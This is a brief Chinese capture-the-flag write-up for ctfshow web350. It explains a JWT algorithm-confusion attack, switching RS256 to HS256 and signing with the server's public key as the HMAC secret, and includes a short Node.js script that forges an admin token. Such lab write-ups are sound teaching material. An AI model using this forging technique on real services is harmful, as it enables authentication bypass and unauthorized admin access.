ctfshow web350 jwt密钥混淆攻击

下载源码

观察到有解密算法，且解密代码中未提及算法。所以尝试更改算法为对称加密，将pubulic.key作为密钥 

将RS256算法改为HS256（非对称密码算法=>对称密码算法）

HS256算法使用密钥所有消息进行签名和验证。

而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。

创建test.js生成jwt

var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

然后以post方式发包（带着jwt）